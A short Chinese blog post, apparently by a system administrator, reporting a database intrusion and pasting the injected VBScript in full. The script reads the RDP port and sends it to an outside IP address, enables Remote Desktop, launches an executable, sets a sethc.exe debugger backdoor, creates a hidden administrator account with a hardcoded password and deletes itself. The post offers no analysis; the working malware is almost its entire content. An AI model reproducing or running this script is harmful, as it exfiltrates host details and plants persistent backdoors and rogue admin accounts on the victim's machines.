数据库被入侵了,被注入的脚步如下

on error resume next
Set fso8 = CreateObject("Scripting.FileSystemObject")
Set ObjFSO2 = CreateObject("Scripting.FileSystemObject")
If fso8.FileExists("C:\WINDOWS\Help\cnwb.html") Then 
ObjFSO2.DeleteFile Wscript.ScriptFullName
WScript.quit
else
end if

Set OperationRegistry=WScript.createObject("WScript.Shell") 
Dim TSPort,TSState,TSRegPath 
TSRegPath="HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\PortNumber" 
TSPort=OperationRegistry.RegRead(TSRegPath) 
Set xPost=CreateObject("Microsoft.XMLHTTP") 
xPost.Open "GET","http://42.51.151.7:8002/mof.asp?IPnumber=" & TSPort,0 
xPost.Send() 


set obj=wscript.createObject("wscript.shell") 
obj.Run "cmd /c sc config TermService start= auto",vbhide
obj.Run "cmd /c sc start TermService",vbhide
obj.Run "cmd /c start c:/windows/system/const.exe",vbhide



Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\debugger",WScript.CreateObject("WScript.shell").ExpandEnvironmentStrings("%SystemRoot%")&"\system32\taskmgr.exe","REG_SZ"





Set o=CreateObject("Shell.Users")
Set z=o.create("winhelp")
z.changePassword "85760042aa!@#",""
z.setting("AccountType")=3

Set ObjFSO = CreateObject("Scripting.FileSystemObject")
ObjFSO.DeleteFile Wscript.ScriptFullName
WScript.quit

你可能感兴趣的:(mysql,安全)